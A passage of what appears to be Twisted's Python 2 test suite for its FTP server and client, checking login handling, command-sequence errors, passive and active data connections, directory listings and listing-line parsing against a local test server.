chainDeferred.addCallback(failed) def _anonymousLogin(self): d = self.assertCommandResponse( 'USER anonymous', ['331 Guest login ok, type your email address as password.']) return self.assertCommandResponse( 'PASS test@twistedmatrix.com', ['230 Anonymous login ok, access restrictions apply.'], chainDeferred=d) def _userLogin(self): """Authenticates the FTP client using the test account.""" d = self.assertCommandResponse( 'USER %s' % (self.username), ['331 Password required for %s.' % (self.username)]) return self.assertCommandResponse( 'PASS %s' % (self.password), ['230 User logged in, proceed'], chainDeferred=d) class FTPAnonymousTestCase(FTPServerTestCase): """ Simple tests for an FTP server with different anonymous username. The new anonymous username used in this test case is "guest" """ userAnonymous = "guest" def test_anonymousLogin(self): """ Tests whether the changing of the anonymous username is working or not. The FTP server should not comply about the need of password for the username 'guest', letting it login as anonymous asking just an email address as password. """ d = self.assertCommandResponse( 'USER guest', ['331 Guest login ok, type your email address as password.']) return self.assertCommandResponse( 'PASS test@twistedmatrix.com', ['230 Anonymous login ok, access restrictions apply.'], chainDeferred=d) class BasicFTPServerTestCase(FTPServerTestCase): def testNotLoggedInReply(self): """ When not logged in, most commands other than USER and PASS should get NOT_LOGGED_IN errors, but some can be called before USER and PASS. """ loginRequiredCommandList = ['CDUP', 'CWD', 'LIST', 'MODE', 'PASV', 'PWD', 'RETR', 'STRU', 'SYST', 'TYPE'] loginNotRequiredCommandList = ['FEAT'] # Issue commands, check responses def checkFailResponse(exception, command): failureResponseLines = exception.args[0] self.failUnless(failureResponseLines[-1].startswith("530"), "%s - Response didn't start with 530: %r" % (command, failureResponseLines[-1],)) def checkPassResponse(result, command): result = result[0] self.failIf(result.startswith("530"), "%s - Response start with 530: %r" % (command, result,)) deferreds = [] for command in loginRequiredCommandList: deferred = self.client.queueStringCommand(command) self.assertFailure(deferred, ftp.CommandFailed) deferred.addCallback(checkFailResponse, command) deferreds.append(deferred) for command in loginNotRequiredCommandList: deferred = self.client.queueStringCommand(command) deferred.addCallback(checkPassResponse, command) deferreds.append(deferred) return defer.DeferredList(deferreds, fireOnOneErrback=True) def testPASSBeforeUSER(self): """ Issuing PASS before USER should give an error. """ return self.assertCommandFailed( 'PASS foo', ["503 Incorrect sequence of commands: " "USER required before PASS"]) def testNoParamsForUSER(self): """ Issuing USER without a username is a syntax error. """ return self.assertCommandFailed( 'USER', ['500 Syntax error: USER requires an argument.']) def testNoParamsForPASS(self): """ Issuing PASS without a password is a syntax error. """ d = self.client.queueStringCommand('USER foo') return self.assertCommandFailed( 'PASS', ['500 Syntax error: PASS requires an argument.'], chainDeferred=d) def testAnonymousLogin(self): return self._anonymousLogin() def testQuit(self): """ Issuing QUIT should return a 221 message. """ d = self._anonymousLogin() return self.assertCommandResponse( 'QUIT', ['221 Goodbye.'], chainDeferred=d) def testAnonymousLoginDenied(self): # Reconfigure the server to disallow anonymous access, and to have an # IUsernamePassword checker that always rejects. self.factory.allowAnonymous = False denyAlwaysChecker = checkers.InMemoryUsernamePasswordDatabaseDontUse() self.factory.portal.registerChecker(denyAlwaysChecker, credentials.IUsernamePassword) # Same response code as allowAnonymous=True, but different text. d = self.assertCommandResponse( 'USER anonymous', ['331 Password required for anonymous.']) # It will be denied. No-one can login. d = self.assertCommandFailed( 'PASS test@twistedmatrix.com', ['530 Sorry, Authentication failed.'], chainDeferred=d) # It's not just saying that. You aren't logged in. d = self.assertCommandFailed( 'PWD', ['530 Please login with USER and PASS.'], chainDeferred=d) return d def test_anonymousWriteDenied(self): """ When an anonymous user attempts to edit the server-side filesystem, they will receive a 550 error with a descriptive message. """ d = self._anonymousLogin() return self.assertCommandFailed( 'MKD newdir', ['550 Anonymous users are forbidden to change the filesystem'], chainDeferred=d) def testUnknownCommand(self): d = self._anonymousLogin() return self.assertCommandFailed( 'GIBBERISH', ["502 Command 'GIBBERISH' not implemented"], chainDeferred=d) def testRETRBeforePORT(self): d = self._anonymousLogin() return self.assertCommandFailed( 'RETR foo', ["503 Incorrect sequence of commands: " "PORT or PASV required before RETR"], chainDeferred=d) def testSTORBeforePORT(self): d = self._anonymousLogin() return self.assertCommandFailed( 'STOR foo', ["503 Incorrect sequence of commands: " "PORT or PASV required before STOR"], chainDeferred=d) def testBadCommandArgs(self): d = self._anonymousLogin() self.assertCommandFailed( 'MODE z', ["504 Not implemented for parameter 'z'."], chainDeferred=d) self.assertCommandFailed( 'STRU I', ["504 Not implemented for parameter 'I'."], chainDeferred=d) return d def testDecodeHostPort(self): self.assertEqual(ftp.decodeHostPort('25,234,129,22,100,23'), ('25.234.129.22', 25623)) nums = range(6) for i in range(6): badValue = list(nums) badValue[i] = 256 s = ','.join(map(str, badValue)) self.assertRaises(ValueError, ftp.decodeHostPort, s) def testPASV(self): # Login wfd = defer.waitForDeferred(self._anonymousLogin()) yield wfd wfd.getResult() # Issue a PASV command, and extract the host and port from the response pasvCmd = defer.waitForDeferred(self.client.queueStringCommand('PASV')) yield pasvCmd responseLines = pasvCmd.getResult() host, port = ftp.decodeHostPort(responseLines[-1][4:]) # Make sure the server is listening on the port it claims to be self.assertEqual(port, self.serverProtocol.dtpPort.getHost().port) # Semi-reasonable way to force cleanup self.serverProtocol.transport.loseConnection() testPASV = defer.deferredGenerator(testPASV) def test_SYST(self): """SYST command will always return UNIX Type: L8""" d = self._anonymousLogin() self.assertCommandResponse('SYST', ["215 UNIX Type: L8"], chainDeferred=d) return d def test_RNFRandRNTO(self): """ Sending the RNFR command followed by RNTO, with valid filenames, will perform a successful rename operation. """ # Create user home folder with a 'foo' file. self.dirPath.child(self.username).createDirectory() self.dirPath.child(self.username).child('foo').touch() d = self._userLogin() self.assertCommandResponse( 'RNFR foo', ["350 Requested file action pending further information."], chainDeferred=d) self.assertCommandResponse( 'RNTO bar', ["250 Requested File Action Completed OK"], chainDeferred=d) def check_rename(result): self.assertTrue( self.dirPath.child(self.username).child('bar').exists()) return result d.addCallback(check_rename) return d def test_RNFRwithoutRNTO(self): """ Sending the RNFR command followed by any command other than RNTO should return an error informing users that RNFR should be followed by RNTO. """ d = self._anonymousLogin() self.assertCommandResponse( 'RNFR foo', ["350 Requested file action pending further information."], chainDeferred=d) self.assertCommandFailed( 'OTHER don-tcare', ["503 Incorrect sequence of commands: RNTO required after RNFR"], chainDeferred=d) return d def test_portRangeForwardError(self): """ Exceptions other than L{error.CannotListenError} which are raised by C{listenFactory} should be raised to the caller of L{FTP.getDTPPort}. """ def listenFactory(portNumber, factory): raise RuntimeError() self.serverProtocol.listenFactory = listenFactory self.assertRaises(RuntimeError, self.serverProtocol.getDTPPort, protocol.Factory()) def test_portRange(self): """ L{FTP.passivePortRange} should determine the ports which L{FTP.getDTPPort} attempts to bind. If no port from that iterator can be bound, L{error.CannotListenError} should be raised, otherwise the first successful result from L{FTP.listenFactory} should be returned. """ def listenFactory(portNumber, factory): if portNumber in (22032, 22033, 22034): raise error.CannotListenError('localhost', portNumber, 'error') return portNumber self.serverProtocol.listenFactory = listenFactory port = self.serverProtocol.getDTPPort(protocol.Factory()) self.assertEqual(port, 0) self.serverProtocol.passivePortRange = xrange(22032, 65536) port = self.serverProtocol.getDTPPort(protocol.Factory()) self.assertEqual(port, 22035) self.serverProtocol.passivePortRange = xrange(22032, 22035) self.assertRaises(error.CannotListenError, self.serverProtocol.getDTPPort, protocol.Factory()) def test_portRangeInheritedFromFactory(self): """ The L{FTP} instances created by L{ftp.FTPFactory.buildProtocol} have their C{passivePortRange} attribute set to the same object the factory's C{passivePortRange} attribute is set to. """ portRange = xrange(2017, 2031) self.factory.passivePortRange = portRange protocol = self.factory.buildProtocol(None) self.assertEqual(portRange, protocol.wrappedProtocol.passivePortRange) def testFEAT(self): """ When the server receives 'FEAT', it should report the list of supported features. (Additionally, ensure that the server reports various particular features that are supported by all Twisted FTP servers.) """ d = self.client.queueStringCommand('FEAT') def gotResponse(responseLines): self.assertEqual('211-Features:', responseLines[0]) self.assertTrue(' MDTM' in responseLines) self.assertTrue(' PASV' in responseLines) self.assertTrue(' TYPE A;I' in responseLines) self.assertTrue(' SIZE' in responseLines) self.assertEqual('211 End', responseLines[-1]) return d.addCallback(gotResponse) def testOPTS(self): """ When the server receives 'OPTS something', it should report that the FTP server does not support the option called 'something'. """ d = self._anonymousLogin() self.assertCommandFailed( 'OPTS something', ["502 Option 'something' not implemented."], chainDeferred=d, ) return d def test_STORreturnsErrorFromOpen(self): """ Any FTP error raised inside STOR while opening the file is returned to the client. """ # We create a folder inside user's home folder and then # we try to write a file with the same name. # This will trigger an FTPCmdError. self.dirPath.child(self.username).createDirectory() self.dirPath.child(self.username).child('folder').createDirectory() d = self._userLogin() def sendPASV(result): """ Send the PASV command required before port. """ return self.client.queueStringCommand('PASV') def mockDTPInstance(result): """ Fake an incoming connection and create a mock DTPInstance so that PORT command will start processing the request. """ self.serverProtocol.dtpFactory.deferred.callback(None) self.serverProtocol.dtpInstance = object() return result d.addCallback(sendPASV) d.addCallback(mockDTPInstance) self.assertCommandFailed( 'STOR folder', ["550 folder: is a directory"], chainDeferred=d, ) return d def test_STORunknownErrorBecomesFileNotFound(self): """ Any non FTP error raised inside STOR while opening the file is converted into FileNotFound error and returned to the client together with the path. The unknown error is logged. """ d = self._userLogin() def failingOpenForWriting(ignore): return defer.fail(AssertionError()) def sendPASV(result): """ Send the PASV command required before port. """ return self.client.queueStringCommand('PASV') def mockDTPInstance(result): """ Fake an incoming connection and create a mock DTPInstance so that PORT command will start processing the request. """ self.serverProtocol.dtpFactory.deferred.callback(None) self.serverProtocol.dtpInstance = object() self.serverProtocol.shell.openForWriting = failingOpenForWriting return result def checkLogs(result): """ Check that unknown errors are logged. """ logs = self.flushLoggedErrors() self.assertEqual(1, len(logs)) self.assertIsInstance(logs[0].value, AssertionError) d.addCallback(sendPASV) d.addCallback(mockDTPInstance) self.assertCommandFailed( 'STOR something', ["550 something: No such file or directory."], chainDeferred=d, ) d.addCallback(checkLogs) return d class FTPServerTestCaseAdvancedClient(FTPServerTestCase): """ Test FTP server with the L{ftp.FTPClient} class. """ clientFactory = ftp.FTPClient def test_anonymousSTOR(self): """ Try to make an STOR as anonymous, and check that we got a permission denied error. """ def eb(res): res.trap(ftp.CommandFailed) self.assertEqual(res.value.args[0][0], '550 foo: Permission denied.') d1, d2 = self.client.storeFile('foo') d2.addErrback(eb) return defer.gatherResults([d1, d2]) def test_STORtransferErrorIsReturned(self): """ Any FTP error raised by STOR while transferring the file is returned to the client. """ # Make a failing file writer. class FailingFileWriter(ftp._FileWriter): def receive(self): return defer.fail(ftp.IsADirectoryError("failing_file")) def failingSTOR(a, b): return defer.succeed(FailingFileWriter(None)) # Monkey patch the shell so it returns a file writer that will # fail during transfer. self.patch(ftp.FTPAnonymousShell, 'openForWriting', failingSTOR) def eb(res): res.trap(ftp.CommandFailed) logs = self.flushLoggedErrors() self.assertEqual(1, len(logs)) self.assertIsInstance(logs[0].value, ftp.IsADirectoryError) self.assertEqual( res.value.args[0][0], "550 failing_file: is a directory") d1, d2 = self.client.storeFile('failing_file') d2.addErrback(eb) return defer.gatherResults([d1, d2]) def test_STORunknownTransferErrorBecomesAbort(self): """ Any non FTP error raised by STOR while transferring the file is converted into a critical error and transfer is closed. The unknown error is logged. """ class FailingFileWriter(ftp._FileWriter): def receive(self): return defer.fail(AssertionError()) def failingSTOR(a, b): return defer.succeed(FailingFileWriter(None)) # Monkey patch the shell so it returns a file writer that will # fail during transfer. self.patch(ftp.FTPAnonymousShell, 'openForWriting', failingSTOR) def eb(res): res.trap(ftp.CommandFailed) logs = self.flushLoggedErrors() self.assertEqual(1, len(logs)) self.assertIsInstance(logs[0].value, AssertionError) self.assertEqual( res.value.args[0][0], "426 Transfer aborted. Data connection closed.") d1, d2 = self.client.storeFile('failing_file') d2.addErrback(eb) return defer.gatherResults([d1, d2]) def test_RETRreadError(self): """ Any errors during reading a file inside a RETR should be returned to the client. """ # Make a failing file reading. class FailingFileReader(ftp._FileReader): def send(self, consumer): return defer.fail(ftp.IsADirectoryError("blah")) def failingRETR(a, b): return defer.succeed(FailingFileReader(None)) # Monkey patch the shell so it returns a file reader that will # fail. self.patch(ftp.FTPAnonymousShell, 'openForReading', failingRETR) def check_response(failure): self.flushLoggedErrors() failure.trap(ftp.CommandFailed) self.assertEqual( failure.value.args[0][0], "125 Data connection already open, starting transfer") self.assertEqual( failure.value.args[0][1], "550 blah: is a directory") proto = _BufferingProtocol() d = self.client.retrieveFile('failing_file', proto) d.addErrback(check_response) return d class FTPServerPasvDataConnectionTestCase(FTPServerTestCase): def _makeDataConnection(self, ignored=None): # Establish a passive data connection (i.e. client connecting to # server). d = self.client.queueStringCommand('PASV') def gotPASV(responseLines): host, port = ftp.decodeHostPort(responseLines[-1][4:]) cc = protocol.ClientCreator(reactor, _BufferingProtocol) return cc.connectTCP('127.0.0.1', port) return d.addCallback(gotPASV) def _download(self, command, chainDeferred=None): if chainDeferred is None: chainDeferred = defer.succeed(None) chainDeferred.addCallback(self._makeDataConnection) def queueCommand(downloader): # wait for the command to return, and the download connection to be # closed. d1 = self.client.queueStringCommand(command) d2 = downloader.d return defer.gatherResults([d1, d2]) chainDeferred.addCallback(queueCommand) def downloadDone((ignored, downloader)): return downloader.buffer return chainDeferred.addCallback(downloadDone) def test_LISTEmpty(self): """ When listing empty folders, LIST returns an empty response. """ d = self._anonymousLogin() # No files, so the file listing should be empty self._download('LIST', chainDeferred=d) def checkEmpty(result): self.assertEqual('', result) return d.addCallback(checkEmpty) def test_LISTWithBinLsFlags(self): """ LIST ignores requests for folder with names like '-al' and will list the content of current folder. """ os.mkdir(os.path.join(self.directory, 'foo')) os.mkdir(os.path.join(self.directory, 'bar')) # Login d = self._anonymousLogin() self._download('LIST -aL', chainDeferred=d) def checkDownload(download): names = [] for line in download.splitlines(): names.append(line.split(' ')[-1]) self.assertEqual(2, len(names)) self.assertIn('foo', names) self.assertIn('bar', names) return d.addCallback(checkDownload) def test_LISTWithContent(self): """ LIST returns all folder's members, each member listed on a separate line and with name and other details. """ os.mkdir(os.path.join(self.directory, 'foo')) os.mkdir(os.path.join(self.directory, 'bar')) # Login d = self._anonymousLogin() # We expect 2 lines because there are two files. self._download('LIST', chainDeferred=d) def checkDownload(download): self.assertEqual(2, len(download[:-2].split('\r\n'))) d.addCallback(checkDownload) # Download a names-only listing. self._download('NLST ', chainDeferred=d) def checkDownload(download): filenames = download[:-2].split('\r\n') filenames.sort() self.assertEqual(['bar', 'foo'], filenames) d.addCallback(checkDownload) # Download a listing of the 'foo' subdirectory. 'foo' has no files, so # the file listing should be empty. self._download('LIST foo', chainDeferred=d) def checkDownload(download): self.assertEqual('', download) d.addCallback(checkDownload) # Change the current working directory to 'foo'. def chdir(ignored): return self.client.queueStringCommand('CWD foo') d.addCallback(chdir) # Download a listing from within 'foo', and again it should be empty, # because LIST uses the working directory by default. self._download('LIST', chainDeferred=d) def checkDownload(download): self.assertEqual('', download) return d.addCallback(checkDownload) def _listTestHelper(self, command, listOutput, expectedOutput): """ Exercise handling by the implementation of I{LIST} or I{NLST} of certain return values and types from an L{IFTPShell.list} implementation. This will issue C{command} and assert that if the L{IFTPShell.list} implementation includes C{listOutput} as one of the file entries then the result given to the client is matches C{expectedOutput}. @param command: Either C{b"LIST"} or C{b"NLST"} @type command: L{bytes} @param listOutput: A value suitable to be used as an element of the list returned by L{IFTPShell.list}. Vary the values and types of the contents to exercise different code paths in the server's handling of this result. @param expectedOutput: A line of output to expect as a result of C{listOutput} being transformed into a response to the command issued. @type expectedOutput: L{bytes} @return: A L{Deferred} which fires when the test is done, either with an L{Failure} if the test failed or with a function object if it succeeds. The function object is the function which implements L{IFTPShell.list} (and is useful to make assertions about what warnings might have been emitted). @rtype: L{Deferred} """ # Login d = self._anonymousLogin() def patchedList(segments, keys=()): return defer.succeed([listOutput]) def loggedIn(result): self.serverProtocol.shell.list = patchedList return result d.addCallback(loggedIn) self._download('%s something' % (command,), chainDeferred=d) def checkDownload(download): self.assertEqual(expectedOutput, download) return patchedList return d.addCallback(checkDownload) def test_LISTUnicode(self): """ Unicode filenames returned from L{IFTPShell.list} are encoded using UTF-8 before being sent with the response. """ return self._listTestHelper( "LIST", (u'my resum\xe9', (0, 1, 0777, 0, 0, 'user', 'group')), 'drwxrwxrwx 0 user group ' '0 Jan 01 1970 my resum\xc3\xa9\r\n') def test_LISTNonASCIIBytes(self): """ When LIST receive a filename as byte string from L{IFTPShell.list} it will just pass the data to lower level without any change. """ return self._listTestHelper( "LIST", ('my resum\xc3\xa9', (0, 1, 0777, 0, 0, 'user', 'group')), 'drwxrwxrwx 0 user group ' '0 Jan 01 1970 my resum\xc3\xa9\r\n') def testManyLargeDownloads(self): # Login d = self._anonymousLogin() # Download a range of different size files for size in range(100000, 110000, 500): fObj = file(os.path.join(self.directory, '%d.txt' % (size,)), 'wb') fObj.write('x' * size) fObj.close() self._download('RETR %d.txt' % (size,), chainDeferred=d) def checkDownload(download, size=size): self.assertEqual(size, len(download)) d.addCallback(checkDownload) return d def test_downloadFolder(self): """ When RETR is called for a folder, it will fail complaining that the path is a folder. """ # Make a directory in the current working directory self.dirPath.child('foo').createDirectory() # Login d = self._anonymousLogin() d.addCallback(self._makeDataConnection) def retrFolder(downloader): downloader.transport.loseConnection() deferred = self.client.queueStringCommand('RETR foo') return deferred d.addCallback(retrFolder) def failOnSuccess(result): raise AssertionError('Downloading a folder should not succeed.') d.addCallback(failOnSuccess) def checkError(failure): failure.trap(ftp.CommandFailed) self.assertEqual( ['550 foo: is a directory'], failure.value.message) current_errors = self.flushLoggedErrors() self.assertEqual( 0, len(current_errors), 'No errors should be logged while downloading a folder.') d.addErrback(checkError) return d def test_NLSTEmpty(self): """ NLST with no argument returns the directory listing for the current working directory. """ # Login d = self._anonymousLogin() # Touch a file in the current working directory self.dirPath.child('test.txt').touch() # Make a directory in the current working directory self.dirPath.child('foo').createDirectory() self._download('NLST ', chainDeferred=d) def checkDownload(download): filenames = download[:-2].split('\r\n') filenames.sort() self.assertEqual(['foo', 'test.txt'], filenames) return d.addCallback(checkDownload) def test_NLSTNonexistent(self): """ NLST on a non-existent file/directory returns nothing. """ # Login d = self._anonymousLogin() self._download('NLST nonexistent.txt', chainDeferred=d) def checkDownload(download): self.assertEqual('', download) return d.addCallback(checkDownload) def test_NLSTUnicode(self): """ NLST will receive Unicode filenames for IFTPShell.list, and will encode them using UTF-8. """ return self._listTestHelper( "NLST", (u'my resum\xe9', (0, 1, 0777, 0, 0, 'user', 'group')), 'my resum\xc3\xa9\r\n') def test_NLSTNonASCIIBytes(self): """ NLST will just pass the non-Unicode data to lower level. """ return self._listTestHelper( "NLST", ('my resum\xc3\xa9', (0, 1, 0777, 0, 0, 'user', 'group')), 'my resum\xc3\xa9\r\n') def test_NLSTOnPathToFile(self): """ NLST on an existent file returns only the path to that file. """ # Login d = self._anonymousLogin() # Touch a file in the current working directory self.dirPath.child('test.txt').touch() self._download('NLST test.txt', chainDeferred=d) def checkDownload(download): filenames = download[:-2].split('\r\n') self.assertEqual(['test.txt'], filenames) return d.addCallback(checkDownload) class FTPServerPortDataConnectionTestCase(FTPServerPasvDataConnectionTestCase): def setUp(self): self.dataPorts = [] return FTPServerPasvDataConnectionTestCase.setUp(self) def _makeDataConnection(self, ignored=None): # Establish an active data connection (i.e. server connecting to # client). deferred = defer.Deferred() class DataFactory(protocol.ServerFactory): protocol = _BufferingProtocol def buildProtocol(self, addr): p = protocol.ServerFactory.buildProtocol(self, addr) reactor.callLater(0, deferred.callback, p) return p dataPort = reactor.listenTCP(0, DataFactory(), interface='127.0.0.1') self.dataPorts.append(dataPort) cmd = 'PORT ' + ftp.encodeHostPort('127.0.0.1', dataPort.getHost().port) self.client.queueStringCommand(cmd) return deferred def tearDown(self): l = [defer.maybeDeferred(port.stopListening) for port in self.dataPorts] d = defer.maybeDeferred( FTPServerPasvDataConnectionTestCase.tearDown, self) l.append(d) return defer.DeferredList(l, fireOnOneErrback=True) def testPORTCannotConnect(self): # Login d = self._anonymousLogin() # Listen on a port, and immediately stop listening as a way to find a # port number that is definitely closed. def loggedIn(ignored): port = reactor.listenTCP(0, protocol.Factory(), interface='127.0.0.1') portNum = port.getHost().port d = port.stopListening() d.addCallback(lambda _: portNum) return d d.addCallback(loggedIn) # Tell the server to connect to that port with a PORT command, and # verify that it fails with the right error. def gotPortNum(portNum): return self.assertCommandFailed( 'PORT ' + ftp.encodeHostPort('127.0.0.1', portNum), ["425 Can't open data connection."]) return d.addCallback(gotPortNum) def test_nlstGlobbing(self): """ When Unix shell globbing is used with NLST only files matching the pattern will be returned. """ self.dirPath.child('test.txt').touch() self.dirPath.child('ceva.txt').touch() self.dirPath.child('no.match').touch() d = self._anonymousLogin() self._download('NLST *.txt', chainDeferred=d) def checkDownload(download): filenames = download[:-2].split('\r\n') filenames.sort() self.assertEqual(['ceva.txt', 'test.txt'], filenames) return d.addCallback(checkDownload) class DTPFactoryTests(unittest.TestCase): """ Tests for L{ftp.DTPFactory}. """ def setUp(self): """ Create a fake protocol interpreter and a L{ftp.DTPFactory} instance to test. """ self.reactor = task.Clock() class ProtocolInterpreter(object): dtpInstance = None self.protocolInterpreter = ProtocolInterpreter() self.factory = ftp.DTPFactory( self.protocolInterpreter, None, self.reactor) def test_setTimeout(self): """ L{ftp.DTPFactory.setTimeout} uses the reactor passed to its initializer to set up a timed event to time out the DTP setup after the specified number of seconds. """ # Make sure the factory's deferred fails with the right exception, and # make it so we can tell exactly when it fires. finished = [] d = self.assertFailure(self.factory.deferred, ftp.PortConnectionError) d.addCallback(finished.append) self.factory.setTimeout(6) # Advance the clock almost to the timeout self.reactor.advance(5) # Nothing should have happened yet. self.assertFalse(finished) # Advance it to the configured timeout. self.reactor.advance(1) # Now the Deferred should have failed with TimeoutError. self.assertTrue(finished) # There should also be no calls left in the reactor. self.assertFalse(self.reactor.calls) def test_buildProtocolOnce(self): """ A L{ftp.DTPFactory} instance's C{buildProtocol} method can be used once to create a L{ftp.DTP} instance. """ protocol = self.factory.buildProtocol(None) self.assertIsInstance(protocol, ftp.DTP) # A subsequent call returns None. self.assertIdentical(self.factory.buildProtocol(None), None) def test_timeoutAfterConnection(self): """ If a timeout has been set up using L{ftp.DTPFactory.setTimeout}, it is cancelled by L{ftp.DTPFactory.buildProtocol}. """ self.factory.setTimeout(10) protocol = self.factory.buildProtocol(None) # Make sure the call is no longer active. self.assertFalse(self.reactor.calls) def test_connectionAfterTimeout(self): """ If L{ftp.DTPFactory.buildProtocol} is called after the timeout specified by L{ftp.DTPFactory.setTimeout} has elapsed, C{None} is returned. """ # Handle the error so it doesn't get logged. d = self.assertFailure(self.factory.deferred, ftp.PortConnectionError) # Set up the timeout and then cause it to elapse so the Deferred does # fail. self.factory.setTimeout(10) self.reactor.advance(10) # Try to get a protocol - we should not be able to. self.assertIdentical(self.factory.buildProtocol(None), None) # Make sure the Deferred is doing the right thing. return d def test_timeoutAfterConnectionFailed(self): """ L{ftp.DTPFactory.deferred} fails with L{PortConnectionError} when L{ftp.DTPFactory.clientConnectionFailed} is called. If the timeout specified with L{ftp.DTPFactory.setTimeout} expires after that, nothing additional happens. """ finished = [] d = self.assertFailure(self.factory.deferred, ftp.PortConnectionError) d.addCallback(finished.append) self.factory.setTimeout(10) self.assertFalse(finished) self.factory.clientConnectionFailed(None, None) self.assertTrue(finished) self.reactor.advance(10) return d def test_connectionFailedAfterTimeout(self): """ If L{ftp.DTPFactory.clientConnectionFailed} is called after the timeout specified by L{ftp.DTPFactory.setTimeout} has elapsed, nothing beyond the normal timeout before happens. """ # Handle the error so it doesn't get logged. d = self.assertFailure(self.factory.deferred, ftp.PortConnectionError) # Set up the timeout and then cause it to elapse so the Deferred does # fail. self.factory.setTimeout(10) self.reactor.advance(10) # Now fail the connection attempt. This should do nothing. In # particular, it should not raise an exception. self.factory.clientConnectionFailed(None, defer.TimeoutError("foo")) # Give the Deferred to trial so it can make sure it did what we # expected. return d class DTPTests(unittest.TestCase): """ Tests for L{ftp.DTP}. The DTP instances in these tests are generated using DTPFactory.buildProtocol() """ def setUp(self): """ Create a fake protocol interpreter, a L{ftp.DTPFactory} instance, and dummy transport to help with tests. """ self.reactor = task.Clock() class ProtocolInterpreter(object): dtpInstance = None self.protocolInterpreter = ProtocolInterpreter() self.factory = ftp.DTPFactory( self.protocolInterpreter, None, self.reactor) self.transport = proto_helpers.StringTransportWithDisconnection() def test_sendLineNewline(self): """ L{ftp.DTP.sendLine} writes the line passed to it plus a line delimiter to its transport. """ dtpInstance = self.factory.buildProtocol(None) dtpInstance.makeConnection(self.transport) lineContent = 'line content' dtpInstance.sendLine(lineContent) dataSent = self.transport.value() self.assertEqual(lineContent + '\r\n', dataSent) # -- Client Tests ----------------------------------------------------------- class PrintLines(protocol.Protocol): """Helper class used by FTPFileListingTests.""" def __init__(self, lines): self._lines = lines def connectionMade(self): for line in self._lines: self.transport.write(line + "\r\n") self.transport.loseConnection() class MyFTPFileListProtocol(ftp.FTPFileListProtocol): def __init__(self): self.other = [] ftp.FTPFileListProtocol.__init__(self) def unknownLine(self, line): self.other.append(line) class FTPFileListingTests(unittest.TestCase): def getFilesForLines(self, lines): fileList = MyFTPFileListProtocol() d = loopback.loopbackAsync(PrintLines(lines), fileList) d.addCallback(lambda _: (fileList.files, fileList.other)) return d def testOneLine(self): # This example line taken from the docstring for FTPFileListProtocol line = '-rw-r--r-- 1 root other 531 Jan 29 03:26 README' def check(((file,), other)): self.failIf(other, 'unexpect unparsable lines: %s' % repr(other)) self.failUnless(file['filetype'] == '-', 'misparsed fileitem') self.failUnless(file['perms'] == 'rw-r--r--', 'misparsed perms') self.failUnless(file['owner'] == 'root', 'misparsed fileitem') self.failUnless(file['group'] == 'other', 'misparsed fileitem') self.failUnless(file['size'] == 531, 'misparsed fileitem') self.failUnless(file['date'] == 'Jan 29 03:26', 'misparsed fileitem') self.failUnless(file['filename'] == 'README', 'misparsed fileitem') self.failUnless(file['nlinks'] == 1, 'misparsed nlinks') self.failIf(file['linktarget'], 'misparsed linktarget') return self.getFilesForLines([line]).addCallback(check) def testVariantLines(self): line1 = 'drw-r--r-- 2 root other 531 Jan 9 2003 A' line2 = 'lrw-r--r-- 1 root other 1 Jan 29 03:26 B -> A' line3 = 'woohoo! ' def check(((file1, file2), (other,))): self.failUnless(other == 'woohoo! \r', 'incorrect other line') # file 1 self.failUnless(file1['filetype'] == 'd', 'misparsed fileitem') self.failUnless(file1['perms'] == 'rw-r--r--', 'misparsed perms') self.failUnless(file1['owner'] == 'root', 'misparsed owner') self.failUnless(file1['group'] == 'other', 'misparsed group') self.failUnless(file1['size'] == 531, 'misparsed size') self.failUnless(file1['date'] == 'Jan 9 2003', 'misparsed date') self.failUnless(file1['filename'] == 'A', 'misparsed filename') self.failUnless(file1['nlinks'] == 2, 'misparsed nlinks') self.failIf(file1['linktarget'], 'misparsed linktarget') # file 2 self.failUnless(file2['filetype'] == 'l', 'misparsed fileitem') self.failUnless(file2['perms'] == 'rw-r--r--', 'misparsed perms') self.failUnless(file2['owner'] == 'root', 'misparsed owner') self.failUnless(file2['group'] == 'other', 'misparsed group') self.failUnless(file2['size'] == 1, 'misparsed size') self.failUnless(file2['date'] == 'Jan 29 03:26', 'misparsed date') self.failUnless(file2['filename'] == 'B', 'misparsed filename') self.failUnless(file2['nlinks'] == 1, 'misparsed nlinks') self.failUnless(file2['linktarget'] == 'A', 'misparsed linktarget') return self.getFilesForLines([line1, line2, line3]).addCallback(check) def testUnknownLine(self): def check((files, others)): self.failIf(files, 'unexpected file entries') self.failUnless(others == ['ABC\r', 'not a file\r'], 'incorrect unparsable lines: %s' % repr(others)) return self.getFilesForLines(['ABC', 'not a file']).addCallback(check) def test_filenameWithUnescapedSpace(self): ''' Will parse filenames and linktargets containing unescaped space characters. ''' line1 = 'drw-r--r-- 2 root other 531 Jan 9 2003 A B' line2 = ( 'lrw-r--r-- 1 root other 1 Jan 29 03:26 ' 'B A -> D C/A B' ) def check((files, others)): self.assertEqual([], others, 'unexpected others entries') self.assertEqual( 'A B', files[0]['filename'], 'misparsed filename') self.assertEqual( 'B A', files[1]['filename'], 'misparsed filename') self.assertEqual( 'D C/A B', files[1]['linktarget'], 'misparsed linktarget') return self.getFilesForLines([line1, line2]).addCallback(check) def test_filenameWithEscapedSpace(self): ''' Will parse filenames and linktargets containing escaped space characters. ''' line1 = 'drw-r--r-- 2 root other 531 Jan 9 2003 A\ B' line2 = ( 'lrw-r--r-- 1 root other 1 Jan 29 03:26 ' 'B A -> D\ C/A B' ) def check((files, others)): self.assertEqual([], others, 'unexpected others entries') self.assertEqual( 'A B', files[0]['filename'], 'misparsed filename') self.assertEqual( 'B A', files[1]['filename'], 'misparsed filename') self.assertEqual( 'D C/A B', files[1]['linktarget'], 'misparsed linktarget') return self.getFilesForLines([line1, line2]).addCallback(check) def testYear(self): # This example derived from bug description in issue 514. fileList = ftp.FTPFileListProtocol() exampleLine = ( '-rw-r--r-- 1 root other 531 Jan 29 2003 README\n') class PrintLine(protocol.Protocol): def connectionMade(self): self.transport.write(exampleLine) self.transport.loseConnection() def check(ignored): file = fileList.files[0] self.failUnless(file['size'] == 531, 'misparsed fileitem') self.failUnless(file['date'] == 'Jan 29 2003', 'misparsed fileitem') self.failUnless(file['filename'] == 'README', 'misparsed fileitem') d = loopback.loopbackAsync(PrintLine(), fileList) return d.addCallback(check) class FTPClientTests(unittest.TestCase): def testFailedRETR(self): f = protocol.Factory() f.noisy = 0 port = reactor.listenTCP(0, f, interface="127.0.0.1") self.addCleanup(port.stopListening) portNum = port.getHost().port # This test data derived from a bug report by ranty on #twisted responses = ['220 ready, dude (vsFTPd 1.0.0: beat me, break me)', # USER anonymous '331 Please specify the password.', # PASS twisted@twistedmatrix.com '230 